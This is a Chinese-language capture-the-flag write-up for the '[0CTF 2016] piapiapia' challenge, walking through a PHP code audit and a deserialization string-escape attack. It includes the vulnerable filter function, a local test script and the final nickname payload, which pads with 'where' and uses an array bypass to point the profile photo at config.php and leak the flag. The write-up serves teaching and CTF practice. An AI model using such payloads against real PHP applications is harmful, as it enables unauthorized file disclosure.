1. 程式人生 > 其它 >BUUFTC-日刷-[0CTF 2016]piapiapia-程式碼審計+反序列化逃逸中陣列處理

BUUFTC-日刷-[0CTF 2016]piapiapia-程式碼審計+反序列化逃逸中陣列處理

進去就是一個登入介面,嘗試sql注入發現沒反應

掃描後臺發現www.zip,嘗試程式碼審計

在config.php發現flag,下面就是嘗試輸出config.php

註冊一個賬號登入進去,可以發現一個檔案上傳口,上傳圖片後在個人主頁可以看到上傳的圖片

這裡審計程式碼發現可以發現一個檔案讀取點

發現會讀取$profile['photo']並且輸出base64加密值,那麼讓$profile['photo']=config.php即可,看看這個值在哪裡指定

可以發現這個變數是反序列化過的,繼續往前看

觀察程式碼我們可以發現是將上傳的電話號碼,郵箱和圖片路徑啥的存在一個數組裡,再序列化儲存profile

但是photo這個變數路徑是根據檔名的md5值指定的,我們不好指定我config

但是注意看前面上傳的時候有一個過濾函式

檢視這個過濾函式

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update
', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

這個函式先看implode,它是把陣列元素組合為字串。然後就很明顯了會把‘和\\轉為_,把幾個資料庫關鍵詞轉為hacker,這裡就存在序列化字元逃逸

提取關鍵程式碼,組合測試

<?php

function filter($string) {
        $escape = array('\'', '\\\\');
        $escape 
= '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } function update_profile($new_profile) { $new_profile = filter($new_profile); print_r($new_profile); } $profile['phone'] = '11122233344'; $profile['email'] = '[email protected]'; $profile['nickname'] ='aaa'; $profile['photo'] = 'upload/' . md5('a.png'); update_profile(serialize($profile));

結果

這裡嘗試改變nickname(非最終payload)

nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}

結果

a:4:{s:5:"phone";s:11:"11122233344";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/32d3ca5e23f4ccf1e4c8660c40e75f33";}

這裡可以發現逃逸成功,但是注意一下這裡nickname不能直接填這個

注意

發現nickname長度不能超過10

這裡用陣列繞過

strlen(Array()) = null

我們前面payload也要改,因為我們要讓nickname為陣列,要多加一個},因此payload要多填充一位

payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

發包

解碼